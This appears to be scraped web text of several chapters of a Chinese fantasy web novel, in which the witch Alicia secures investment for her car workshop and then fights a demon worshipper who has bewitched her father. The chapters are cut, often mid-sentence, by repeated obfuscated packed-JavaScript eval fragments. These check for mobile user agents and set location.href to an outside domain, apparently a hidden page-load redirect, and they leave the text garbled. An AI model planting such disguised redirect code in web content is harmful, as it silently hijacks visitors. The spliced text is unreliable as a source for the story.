RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14074593|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔夫人已经说了女继承人很欣赏她的发明,艾莉西亚在这样的目光下仍觉得有点紧张。 从外表来看,这或许是一位精明强干的女士,但有了阿斯蒙德伯爵领唯一女继承人的身份,她只是坐在那里,什么都不做,眼神就足够有压迫感。 这大概就是权力带来的气场。 “坐下吧。”芙蕾·阿斯蒙德指了指书桌前的椅子。 艾莉西亚和特蕾娅听话坐下。 “我看过你们创业的经历,你们做得很不错,两个没有背景的普通人,还是女人,能做到今天的规模,这不是靠努力就能做到的。我的时间不多,找你们来只想问一个问题,”芙蕾·阿斯蒙德的眼神落到了艾莉西亚身上,她很容易就分辨出这两个年轻女人谁占主导地位,“你想做到什么程度?” 这算什么问题? 艾莉西亚脑子飞速地转动起来,我想做到什么程度?这还需要问吗?当然是尽可能地发展,能赚多少钱就赚多少钱,这有什么好说的? 但能这样回答吗? 汉斯梅尔说芙蕾·阿斯蒙德很爽快就同意大额投资了,这说明她对汽车很满意,既然同意了,按照她的说法,她的时间很紧,这一面其实没什么必要,但为什么要特意见她一面,然后问她要做到什么程度呢?她还提到了两个女人创业不容易。 艾莉西亚明白了。 “阁下,您看过我的资料,一定知道我的父亲最近因为担保问题债务缠身,很可能破产,我的父亲爱女心切,他认为失去家里的酿酒厂之后,他的阶级滑落,无法再为我、为我的事业提供保护,所以他试图安排我嫁人来渡过危机,但我拒绝了。 “这是很简单的道理,既然我的父亲已经没办法提供保护,那我的丈夫如果想要抢夺我的财产,那就太容易了,他只需要让医生出具我患有精神疾病的证明,就能把我送进监狱一样的疗养院,然后名正言顺地得到我的一切。 “所以我告诉他,我不需要保护人,我会靠自己的能力成为别人无法撼动的存在。” “您问我想要做到什么程度,我会告诉您,我想做到我能做到的极限。如果能像您这样杀伐果断,就更好了。” 39. 女巫的职业危机39 艾莉西亚的奉承话说得很生硬,像是硬贴上去的,一点也不自然。 但这并不妨碍芙蕾·阿斯蒙德对艾莉西亚的欣赏,她满意地点点头,“很好。纳桑尼尔,带她们找曼德雷克拿支票吧。” 这位继承人阁下果然如她所说,时间很紧张。几句话说完,就又埋首于桌子上的公务了,赶人的动作异常熟练。 汉斯梅尔夫人领着艾莉西亚和特蕾娅出来,走到走廊上,特蕾娅悄悄握住艾莉西亚的手,她的手汗津津的,潮热濡湿,心跳也蹦到了一个极高的频率。她紧紧地拽着艾莉西亚,几乎把大半个身体的重量都压了过来。 艾莉西亚支撑着她,注意力放在从出来之后就一直很沉默的汉斯梅尔夫人身上。 这位夫人眉头微微蹙着,似乎在思考着什么。 支票马上要到手,艾莉西亚内心很安定,折腾这么久,能找到这么大方不计较的金主很不容易, 特蕾娅可以着手准备生产线的设备了,还要招聘有技术的工人,如果招不到人,还需要培养……事情千头万绪,顺利的话半年到一年就能把生产线建起来,不顺利还有得蘑。 生产线建起来就需要考虑到销售了,下一届的博览会在哪里?唔,不太清楚,那个还有两年时间,不如先找个冤大头——哦不,找个慷慨的客户先引领一下潮流。 艾莉西亚扒拉了一下人脉,觉得巡夜者的首领巴尔纳就很合适,上次他拿走的手/弩反馈说很满意,想来他应该很乐意把马车换成更加方便快捷的汽车吧。 拿到支票后,特蕾娅去银行汇进零件厂户头上,有了这笔钱,艾莉西亚能狠狠松一口气,最重要的一点是,她可以不用动用自己的小金库去填工坊的窟窿了,为了保证工坊的资金链,艾莉西亚一直把外快当做备用金存着。 现在她立刻能拿出一笔钱给家里,如果谈判顺利,家里的酒厂有很大概率能保下来。 保持着这样的好心情,艾莉西亚回到了工坊。 罗德在乖乖地写功课,唐娜照看着。唐娜一直是个很有上进心的人,她不到二十岁就来切斯特家工作了,那时候她还不识字,看到艾莉西亚能念书她羡慕极了。 贝斯见她这样,就抽空教她认字念书,这些年,唐娜断断续续地,拿着艾莉西亚的课本,已经学完了通识学校的课程。 那之后唐娜就兼职罗德的家庭教师,罗德的功课也就没怎么耽误。 罗德一看到艾莉西亚,甩掉课本就朝她飞奔过来,“艾莉西亚,今天我们什么时候去山上?” 这个家伙已经野惯了,即使每次回来都累得走不动路,还是不长记性。 唐娜嘴巴抿成一条直线,她想说这样会耽误罗德,但又记起丽塔大婶的话,把话忍了下去。 艾莉西亚没注意到唐娜,她摸摸罗德毛茸茸的脑袋,“不去山上,好几天没见到爸爸妈妈了吧?今天我有时间,我们回家看看。” 回家罗德也很开心,但她的魔法还没有达到艾莉西亚的标准,艾莉西亚拿出的和空间魔法有关的符文她还没记住,有点不敢相信,“真的?” “真的,你收拾一下东西,晚上我们在家里住一晚。” 坐上回城的马车,艾莉西亚在车厢里施了一个隔音咒,和罗德交代事情。 “我们回去之后,你不能使用能力,答应我,一定要做到。” 罗德这几天的学习了一点,还处于半懂不懂的状态,“不让人看见也不行吗?我以前都很少被发现的。” “那我怎么发现你的?” 罗德反驳,“那是因为在家里。” “家里也不行,你知道的,我们家只有你和我有这样特殊的能力,你会吓到妈妈的。” 罗德不是很信,但艾莉西亚这么说了,她也没有死犟,“那好吧,”但她眼睛转了转,立刻拿这个讨要好处,“如果我做到了,有奖励吗?” 艾莉西亚很想说奖励你多背基本魔法符文,不过她深知小朋友不能一味地要求她做这个做那个,还要适当地给予奖励,她问罗德,“你想要什么?” 罗德觑着艾莉西亚的表情,试探着问,“我要坐你做出来的新车,我要自己开,哼哼,所有人都坐了,只有我没有!” 艾莉西亚哭笑不得,但是还是满足她,“当然没问题,不过,宝贝,你只能坐在副驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14098620|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶,好吗?” “行吧,”罗德想了想,“要狄安娜也一起可以吗?” 艾莉西亚,“那你得去问米亚。” 罗德说,“你教我学习魔法,米亚阿姨也可以教导狄安娜剑术啊,她说她将来要成为一位走遍大陆的女骑士。唔,她为什么不成为像科恩那样的骑士?” 这话题真跳跃,艾莉西亚仍然耐心回答,“因为科恩的老师是阿克莱特圣骑士,米亚是荒野骑士。” “荒野骑士是什么?” “荒野骑士是厉害的女剑士,只是不被教廷承认。” “哇哦~米亚阿姨很厉害吧。” 艾莉西亚,“当然啊。米亚一个人带着狄安娜和安格在极北荒原生活了很久,她可以剿灭一个狼群,当然,那是在她没有受伤的时候。” “天哪,”罗德对米亚充满了崇拜,“阿克莱特骑士和米亚阿姨,谁更厉害?他们打过架吗?” 艾莉西亚,“这个,额,我不太清楚。” 罗德露出纠结的表情,“米亚阿姨那么高,她一定更厉害。” “你去问阿克莱特骑士。” 罗德问,“可是我们是荒野女巫诶。” “荒野女巫?” 罗德,“不被教廷承认的骑士是荒原骑士,女巫也没有被教廷承认啊,所以艾莉,我们是荒野女巫,对吧?” 艾莉西亚捏捏罗德的小脸,“你真聪明,差不多就是这样。” 但罗德很快就陷入纠结,“可是艾莉西亚,你和阿克莱特圣骑士的关系很好,不是吗?科恩还送了我一把小木剑。” “阿克莱特骑士是不一样的,他是个很好很正直的人。如果他不是一个很好的人,他也不会来卡斯塔尼亚了。” 两人一路闲聊中,回到了切斯特家。 艾莉西亚付过车费,拎着一个小箱子下车,她心情很好,牵着罗德的手去按门铃。离开伯爵府之后,艾莉西亚已经托特蕾娅帮忙带话今天会回家。 门铃响起,无人应门。 艾莉西亚按到第三次,玄关才响起脚步声,门从里面打开,皮尔疲惫的脸露出来,“你们回来了。” 40. 女巫的职业危机40 “爸爸?怎么是你?南希呢?妈妈呢?” 皮尔有点僵硬地后退,留出空间让艾莉西亚和罗德进来,“南希出去采购了,贝斯身体不舒服,她去休息了。” 艾莉西亚正准备帮罗德脱外套,听到这话直起身问皮尔,“爸爸,南希是去白帽子街的市场采购吗?她有没有买小羊排?你知道的,南希可不是丽塔大婶,她最喜欢偷懒了,她自己肯定不愿意采购这个。” “是吗?”皮尔对家里的事并不清楚。 艾莉西亚拍拍罗德的脑袋,“亲爱的,你去市场上找南希,让她一定要把小羊排买回来,她做不了我可以自己做。” 罗德乖乖点头,“好的。” 艾莉西亚,“对了,顺便告诉科恩,他在我这里定制的东西已经做好了,今天就过来拿吧,不然他就得自己去城外的工坊找我了。”罗德转身就往外跑。 皮尔抬手想拦,艾莉西亚已经关上门,她扬起笑脸,习惯性抱怨,“爸爸,你不知道,工坊那里又远又不方便,吃喝都不不好,我好想你,好想妈妈啊。妈妈呢?我去看看她。” 艾莉西亚跑得飞快,很快来到二楼的房间,床上躺着一个人,被子盖得没过脑袋,深褐色的柔软发丝露在枕头上。 艾莉西亚上前,她走上前,一把掀开被子,床上躺着的不是贝斯,而是一张过分年轻的脸,南希。 南希在这里,贝斯呢? 然而现实的情况不容她多想,身后传来动静,艾莉西亚反手一握,利刃划破皮肉,伴随着刀割的疼痛感,伤口出现如同被硫酸腐蚀灼伤的痕迹。 艾莉西亚手指收紧用力,瞬间转身抬腿,狠狠踢向偷袭之人的□□,她的动作又狠又快,正中要害,对方惨叫一声,松手捂住要害,身体弯曲如同一只蜷起来的虾米。 艾莉西亚刚要开口,下一秒,对方就像融化一样没入阴影之中,遁走了。 “胆小鬼!”艾莉西亚丢掉匕首,立刻要追,却听到一道古怪而阴鸷的声音,“咯咯,你完了,女巫,你已经被我的主人侵蚀了,哈哈哈哈,愚蠢的女巫,谁让你徒手接刃呢——” 艾莉西亚后知后觉发现掌心的伤口发生了诡异的变化,原本有着鲜血渗出的地方逐渐变黑,又成为蠕动的阴影,拼命地往她的血管里钻…… …… 快点! 再快点! 罗德拼命地往前跑着。 距离光明神的教堂还有几条街,她已经能看到教堂尖尖的塔顶了。她要尽快赶到教堂,找到阿克莱特骑士。这是艾莉西亚传递给罗德的信息。 艾莉西亚的确很喜欢小羊排,但她们从来不会在市场上购买小羊排,都是贝斯去农场定好,农场老板送到家里的。这一点艾莉西亚知道,罗德也知道。但皮尔不知道。 罗德不知道为什么艾莉西亚要说谎,但她之所以这么听话,不是因为听出了艾莉西亚的言外之意,罗德是感觉到皮尔身上有她不喜欢的气息。接着艾莉西亚让她去找科恩,这就很巧了,他们最近谈论过的科恩只有阿克莱特骑士的学生,科恩·西尔维斯特。 去找科恩和去市场根本不顺路,罗德很快意识到艾莉西亚只是找借口让她出门,然后去教堂找阿克莱特骑士。 罗德不知道发生了什么事,但她有着小动物本能的敏锐直接,所以她还不犹豫就跑了出来。 绕过一个街口,到了拐角的地方,罗德面前突然走出来一个人,她来不及刹车,一头撞了上去。 那个人把罗德抱住,声音很熟悉,语气惊讶极了,“罗德?” 罗德呆了一下,“妈妈?”皮尔不是说妈妈不舒服,在休息吗? 贝斯露出庆幸的表情,“光明神保佑!我的宝贝,幸好在外面遇见你,告诉我,你和艾莉西亚没有回家,对吧?” 罗德,“可是我是从家里出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14111702|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 贝斯捂着胸口,看起来像立刻要昏过去一样,“怎么会这样?这么会这样!我的艾莉西亚,她一定会被家里那个恶魔伤害的!罗德,我们得去教堂,去找阿克莱特骑士。” 贝斯牵着牵着罗德的手,转了个方向,向前走去。 罗德抬头看了看,从她的方向能看到教堂的尖顶。 走了几步,罗德再看,尖顶依然在那里,但罗德却觉得有什么地方不对。 她一边走一边仰着脸去看贝斯,她只看到圆润的侧脸,下颌线轮廓时隐时现,并太清晰,这一侧的耳朵上戴了一只泪滴形的珍珠耳坠。 是眼花吗?罗德揉了揉眼睛,她看到贝斯耳廓上带着耳钉。 罗德心神俱震,她再度看向教堂的方向时,却发现那里根本没有教堂,她拗着脑袋往后看,反而看到了教堂的尖顶。 贝斯没有带她去教堂。 罗德想要甩开贝斯的手,贝斯低下头,眉头皱着,“怎么了?” 罗德大声地说,“你放开我!这不是去教堂的方向!你也不是我的妈妈!放开我!” 她一边说一边用力把手抽回来,但她毕竟只是个孩子,怎么可能是成年人的对手。 女人扯着笑容,尽力安抚她,“乖孩子,你听话,教堂马上要到了,你不要任性。” 罗德不肯听,她认准了这个人不是贝斯,她努力地想要逃走,但始终无法成功,罗德拿出杀手锏,一口咬在女人的收上,女人吃痛,甩开罗德。 罗德完全没防备,她摔倒了,立刻又爬起来,飞快地朝着反方向、向教堂跑去。 看着罗德仓皇的背影,女人站起来,她脸上露出冷笑,“让人厌恶的小鬼。” 伴随着这句话,罗德脚下踉跄,接着她双膝跪地,直挺挺地倒在地上,同时这个有着和贝斯一模一样外表的女人形象大变,成了一个有着一头金发的年轻貌美的女人。 41. 女巫的职业危机41 黄昏时分,天色阴暗,街上的煤气路灯渐渐亮起,昏黄的灯光透过窗户,却无法为这间卧室带来光明。 艾莉西亚盯着掌心蠕动的阴影,一簇蓝色的火焰出现,照亮阴暗的房间的同时,把蠕动的阴影烧成灰烬。 “我看到你的脸了,约纳·卡西尼,滚出来!” “看到了又怎样?有伟大的巴蒂魔神给予我庇护,你无法从阴影中抓住我,你该担心你的父母,他们看起来快死掉了啊。” 艾莉西亚,“那你现在为什么不动手呢?是不想吗?不,你办不到啊。你伟大的主人只赐给你狗狗祟祟、像阴沟里的老鼠一样躲藏的力量,却没有赐予你与我正面对抗的力量,你躲起来有什么用?这栋房子的所有魔法阵都是我亲手设下的,你听见了吗?魔法阵运行的声音。你已经跑不出去了,我很快会找到你。” “哈哈哈哈,你尽可以试试!我伟大的主人啊,这片大陆竟然还有这样天真愚蠢的女巫,她竟然会觉得那些残破的魔法阵会给我带来伤害。” 卡西尼猖狂的笑声像是被灌入污秽的精神污染,艾莉西亚听得脑子一阵一阵抽痛。 艾莉西亚强压下心里的焦急,她检查了一下南希的情况,幸好,南希只是陷入昏迷,暂时没有生命危险。她给南希设下一个魔法阵,深吸一口气,从房间出去。 她的每一步都走得很稳,呼吸绵长均匀,平稳有力,没有一点慌乱。 艾莉西亚很清楚,她不能慌,任何慌乱紧张地行为只会增加卡西尼的信心,现在的情况是卡西尼没办法伤害她,而她也抓不到卡西尼,两个人在这时候形成了微妙的平衡,谁也奈何不了谁。 艾莉西亚来到走廊上,这栋房子已经彻底变成了另一番模样—— 贝斯挑选的精美墙纸画满了扭曲的魔法符文,一个个让人精神混乱的五芒星之中,向外倾吐硫磺味的烟雾,这种烟雾充斥着整个空间,让肉眼可见的距离不超过一米。 艾莉西亚不得不绷紧了神经,走廊空荡荡的,只有她的鞋跟敲击在木地板的声音,她的四周全是阴影,而卡西尼就藏身其间,随时都可能钻出来给她致命一击。 她袖子里的金属法杖滑落到掌心,她时刻准备着,等待着卡西尼出击时的破绽。 艾莉西亚穿行在黑沉沉的烟雾之中,凭着记忆走了一段路,感觉到了书房,她正要走进去,左侧传来轻微的、空气摩擦的声音,她立刻后退一步,扳手扬起,和从阴影里冒头的卡西尼刚好对上,扳手挥出去打在另一个坚硬的物体上,发出了清脆的金属敲击声,卡西尼被她的大力击退,转眼没入阴影。 下一秒,左后方又传来动静,让人感到不祥的漆黑刀刃朝着艾莉西亚刺来,艾莉西亚来不及闪避,就在匕首即将伤到她的危急时刻,艾莉西亚身后陡然升起一道明亮的火墙,火焰一下仿佛盯住猎物的毒蛇,立刻缠上卡西尼的手臂,又迅速蔓延到至肩膀、半边身体。 艾莉西亚抓住机会,转身挥动扳手,趁他没反应过来狠狠地朝他的脑袋敲过去。 然而她没能如愿,卡西尼反应很快,察觉到艾莉西亚动作的时候,直接缩进阴影之中,艾莉西亚的扳手只打到空气。 不过卡西尼也没有好过到哪里去,艾莉西亚点燃的火焰让他皮肤被灼烧气泡,尽管他缩回去的动作足够快,火焰在阴影中没有燃烧的基础,但被高温燎过的皮肤给他带来了巨大的痛苦,随着他痛苦喊叫,这栋房子里的阴影都因此而震颤不休。 争取到了一点优势,艾莉西亚立刻朝书房冲进去,她之所以在这里停留,是因为感觉到皮尔可能在里面。 艾莉西亚启动房子里的魔法阵时就发现了问题,很多魔法阵被破坏掉了,这完全不像是一个恶魔崇拜者能做到的事,他背后很可能还有一个隐藏的女巫或者术士。 联想到回家的时候,皮尔那僵硬机械的表现,艾莉西亚认为今天的关键要落在皮尔身上。皮尔那样的表现,有极大概率是被操控着的。 而卡西尼的能力看起来很厉害,但就像艾莉西亚故意刺激他说的那样,他只敢也只能藏身于阴影之中,因为他只要一露头,就会被艾莉西亚压着打——根本不敢和她正面对上。 因此卡西尼完全不具备那样的能力,艾莉西亚短时间内又拿卡西尼没办法,只能从皮尔身上下手,找到那个操控皮尔的女巫或者术士,破除对方布下的魔法阵,才能把卡西尼逼出阴影,结束这一切。 但当艾莉西亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14120745|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到坐在桌子后面的皮尔时,她没有感到猜想得到印证的喜悦,心情反而沉到了谷底——这意味着,那个女巫或者术士根本不在这里,否则,对方肯定会出来阻止她。 而那个人消失的原因只有一个,跑出去求援的罗德。 “爸爸。”艾莉西亚走进皮尔,书房内的壁灯自动点亮魔法火焰,将室内的黑暗驱逐,她得以看清楚了皮尔的样子。 皮尔脊背僵直,四肢僵硬,他的眼睛木呆呆地看着前方,长时间不眨眼——这一切表明,皮尔已经趋近木偶化,如果不是他的胸膛还轻微起伏着,完全不像个活人。 艾莉西亚眼睛酸涩,她闭了闭眼,把胸口的涩然压下去,走进皮尔,拿出法杖,开始针对性地解咒。 她的做法很快引来卡西尼的反扑,然而艾莉西亚早有预料,他冲过来时撞到了一块透明的屏障上,卡西尼半张脸被火焰燎过,皮肤红皱气泡,脖子那里更严重,呈现出碳化的痕迹,没有表皮的保护,内里的血管和肌肉裸露出来,十分可怖。 卡西尼盯着这样一张脸趴在屏障上,眼神像要吃人的恶鬼,他找到屏障的某一个点不停地攻击,很快,屏障上出现如同蜘蛛纹一样的裂痕,这样的裂纹蛇行一样扩散,很快布满了半个屏障。 艾莉西亚的大部分魔力都用来给皮尔解咒,小部分追踪另一个超凡者的痕迹,最后一点魔力维持屏障,很显然,这样的魔力输出完全不够,几分钟之后,屏障破碎,艾莉西亚不得不对上疯了一样的卡西尼。 就在她一心二用的时候,艾莉西亚突然感到后腰一阵刺痛,她低头一看,皮尔不知道从哪里摸出一把刀,刺伤了她。 艾莉西亚分明看到,皮尔的眼神已经变得清醒,他双目赤红,瞪着艾莉西亚,那眼神不像是看自己的女儿,而是在看一个恨之入骨的仇人。 艾莉西亚难以置信地看着皮尔,捂着后腰躲避卡西尼的攻击,却因为受伤行动不便,被他那把漆黑的、散发不祥气息的匕首刺中肩膀,恶魔的污染沿着匕首迅速侵入她的身体,艾莉西亚再也无法对抗,挨了卡西尼一脚之后,摔到地上。 艾莉西亚吃力地转过脸,她嘴唇张合,无声地质问皮尔,为什么,为什么要这样对我? 42. 女巫的职业危机42 为什么呢? 艾莉西亚倒地那一刻,她心里充满了被背叛的愤怒,她想要抓着皮尔的衣领向他咆哮质问,为什么要手刃自己的女儿!这对他有什么好处? 就因为她不愿意牺牲自己、去保全他最好朋友的财产,他就对自己恨之入骨吗? 但多年来的经历让艾莉西亚很快从膨胀的情绪中清醒过来,无论皮尔他是不是真的恨她,这些都不重要。 卡西尼从阴影里出来,书房明亮的魔法灯源照亮了他可怖的面孔——那半张皮肉翻卷的脸让他看起来像是从地狱里爬出来的恶鬼,他恶狠狠地盯着艾莉西亚,艾莉西亚以为他会冲上来把自己大卸八块,至少也打一顿泄愤,但他没有。 卡西尼赞赏地对皮尔说,“干得漂亮,兄弟!我会向巴蒂大人如实汇报你的贡献,能捕获一个女巫作为祭品,我的兄弟,你一定下了极大地决心。” 皮尔双眼通红,眼里绽放出狂热的光芒——这完全就是恶魔信徒,如果不看他僵硬的、反复勾起又下撇的嘴角,艾莉西亚会认为这已经是一个如同卡西尼一样病入膏肓的狂热崇拜者了。 从看到那些扭曲的阵法和卡西尼亚穿梭阴影的能力时,艾莉西亚就意识到这可能是个恶魔信徒,为什么皮尔也会成为恶魔信徒呢? 恶魔最擅长引诱,其信徒的能力也会类似的能力,但皮尔的状态更像是被控制后强行灌入的信仰——这一点或许很难,但不是没可能。 卡西尼夸过皮尔,朝艾莉西亚走来,艾莉西亚下意识往后缩,但很快,她放松下来,如果是献祭,女巫作为相当有价值的祭品,卡西尼是不会像破坏祭品的完整度的。 此时她尚有反抗的余力,但却没有一击即中的把握,艾莉西亚决定先静观其变。当然,还有一点是,她冷静之后在看皮尔,很容易就发现了他自身还有意识在抗争。 卡西尼哼着歌,心情很好,他把艾莉西亚捆起来,丢掉她的扳手,然后拖到墙角,把她随意丢弃在那里,他很快在书房中间腾出一片空间,开始画魔法阵。 那是个向恶魔献祭的魔法阵。 这是一个很复杂的魔法阵,它要用到非常繁复的魔纹,并且在这个过程中,会一直抽取制造魔法阵的人体内的魔力,卡西尼一开始画得很顺畅,但渐渐地,他开始吃力,短短几分钟时间,卡西尼就握不稳刷子了。 卡西尼不得不停下来,他坐在地上,大口大口地喘气。他看向艾莉西亚的眼神始终带着怨恨,好像是因为艾莉西亚,他才会这么吃力一样。 他皮肤上被火烧过的地方渗出淡黄色的液体,看起来又恶心又恐怖,但他像是一点也感觉不到疼痛,渗出的液体被他用衣袖擦掉,一起被擦掉的还有血水。 过了一会儿,他再次站起来,又开始画。 艾莉西亚用舌头顶出塞在嘴里的抹布,突然开口,“拉图瓦的灭门案也是你干得吧,卡西尼。” “闭嘴,小心你的舌头。”卡西尼专心画魔法阵,头也不抬地说。 狂热的恶魔信徒献祭不完整的祭品,这是一种亵渎,艾莉西亚有恃无恐,“等死的过程很无聊啊,你看起来快喘不过气来了,能力这么差,难道是你上次的祭品太弱,你伟大的主人吝啬到不肯给你多余的力量?” “我让你闭嘴!”卡西尼丢了个东西过来,试图赌堵住艾莉西亚的嘴。 艾莉西亚蠕动着避开砸过来的物体,那是皮尔桌子上的摆件,一个木雕的小玩意儿。 “那个死掉的男主人是银行的主管,啊,你也是才升任的主管,难道他是你的上司?你是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14131582|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的上司发现了信仰恶魔,然后把他全家都灭口了吧。” 卡西尼手一抖,他画错了。这意味着他将付出更多代价补救。 “臭表子!你知道什么!那种蠢货怎么可能发现我的秘密!他什么都不会做,只会丢下一大堆烂摊子,全是我帮他解决!”卡西尼像是受到侮辱一般,带着怒气朝艾莉西亚走过来,狠狠地踹了她一脚。 艾莉西亚被踹得翻了个面,脑袋重重撞在墙上,发出一声脆响,撞得她头昏眼花,眼前金星直冒。 “嘎吱”一声,椅子拖动的声音响起,皮尔突然从桌子后面站起来。 艾莉西亚看过去,却看到皮尔双目充血,眼底两道血泪涓涓而下。 卡西尼大声喝道,“切斯特先生,坐回去。” 他的话像是带着某着魔力,皮尔的手臂已经向上抬了两寸,又强行回落,整个人直挺挺地坐回椅子。 艾莉西亚感到被到的位置变得潮湿起来,可能流血了。 卡西尼的反应之大出乎她的预料。 卡西尼在上司死后很快接任他的位置,说明卡西尼是有能力的,但一个有能力的人如此尽心尽力地维护一个蠢钝如猪的上司,又是为了什么? 艾莉西亚回忆着曾经看过的报道,一家五口,四个人惨死,最小的女儿失踪,其中死亡的男女主人的尸体遭到了极大地破坏,次子也是,未有长女尸身完好,死得恨安宁,像是睡着了一样。 艾莉西亚当时以为那是因为长女被献祭的缘故,现在看卡西尼的反应,其中肯定还有内情。 “那看来你这么恨他,恨得杀了他全家,那是因为什么?因为他的女儿,对吧?你爱上了他的女儿,心甘情愿地给他当牛做马,可惜你上司看不上你,你因爱生恨,弄死他全家?” 43. 女巫的职业危机43 “闭嘴闭嘴闭嘴!我让你闭嘴!”卡西尼疯了一样大喊大叫,“我要杀了你!” 艾莉西亚露出轻蔑的笑,献祭女巫和献祭普通人完全不一样,普通人除了灵魂有价值,血肉几乎没什么用,但女巫的力量蕴藏在血肉之中,女巫死亡力量就会瞬间溃散,献祭一个死掉的女巫,这不是讨好恶魔,这是在侮辱祂。 “杀了我?你敢杀掉恶魔献祭的祭品?不,你不敢,你臣服于强权,畏惧强权,卑劣是你的性格底色,你的灵魂已然腐朽,早在向恶魔献祭你心爱之人时就已经堕入深渊。” 信仰恶魔的人无非就那么几种情况,卡西尼献祭了那个年轻的姑娘,又是这样心虚的反应,结果不难猜,这家伙为了恶魔的力量放弃了心爱之人。 卡西尼牙关紧咬,艾莉西亚能看到他侧脸的肌肉在痉挛,他露出狰狞的笑容,指着椅子上的皮尔,“你的父亲又是什么好人呢?你以为你为什么会落到现在的地步吗?你知道为什么坐在这里的是你的父亲而不是你母亲吗?因为你的父亲想通过献祭一个女巫去获取财富,好拯救他的朋友——看看吧,女巫,在你无私的父亲心里,你只不过是用来获取财富的工具。” 艾莉西亚也笑不出来了。 她的沉默让卡西尼觉得扳回一局,他笑起来,受伤的侧脸越发狰狞。 大约是觉得自己戳到了艾莉西亚的痛处,他十分得意,又接着继续画魔法阵。 那个魔法阵已经完成大半,只余下最后三分之一。 艾莉西亚深吸一口气,平复被亲爹伤到的复杂心情,眼睛瞄到已经完成三分之二的魔法阵,她知道,时间差不多了。 该真正让恶魔信徒疯起来了。 艾莉西亚注意到,卡西尼一直在用“可怜”来形容她。 卡西尼说的话有一定道理,皮尔会变成现在这样,被蛊惑又没有彻底失去理智,他一定对艾莉西亚产生了不可弥合的隔阂,他拿到捅他的时候是清醒的,捅完之后又后悔了,所以才会产生那么强烈的对抗意志。 但卡西尼这么说,艾莉西亚并不觉得他是在同情自己,但也不是嘲讽,他或许幸灾乐祸,但那感觉…… 艾莉西亚灵光一闪,忽然想到,他该不会是在同情他自己吧? 哪怕是在这样的情况下,艾莉西亚不禁为这个想法感到好笑——面对他们一家受害者,卡西尼竟然会觉得自己可怜。 这得是多么厚的脸皮才能办得到的啊。 艾莉西亚打从心底觉得荒谬。 但现在要激怒卡西尼,也不管不了那么多。 艾莉西亚收敛脸上的轻蔑,换上了同情,“不,真正可怜的人不是我,是你,约纳·卡西尼,我敢打赌,一定没有人全心全意爱过你。 “你说皮尔选择维护他的朋友而放弃我,可那又如何呢?没有父亲,我还有母亲,我的母亲她永远都爱着我,恶魔也无法找到她心灵的空隙。而你,你有什么呢?无人爱你,无人在乎你,甚至无人看见你!你孑然一身,只能躲在阴影里偷窥别人的幸福,只能从恶魔那里寻找慰藉,最后成为恶魔的养料——你的人生,在你向恶魔献祭的那一刻已经迎来死亡。” 两个人当中,卡西尼处于绝对主宰的地位,但本应该是上位者的卡西尼却是被同情的那个。 但卡西尼没有觉得被理解了。与此相反,卡西尼仍感被轻视。 就如同过去很多次那样。 这是卡西尼熟悉的感觉。 太熟悉,也太痛了。 艾莉西亚的话如同最锋利的刀刃,每一刀,都淬上了让人心碎的毒药,扎在卡西尼内心最脆弱的地方,让他心绪翻腾撕裂,痛不欲生。 卡西尼的眼里泛起红光,理智一点点褪去,浮上来的是最原始的兽性。他盯着艾莉西亚,像一头饿狼盯住猎物。他丢下刷子,一头扎进阴影中。 灯光照耀之下结是阴影。 艾莉西亚失去了卡西尼的踪迹,她闭上眼睛,仔细地感受着房子内部她设置的残余魔法阵,那些被可以抹去但又没有彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 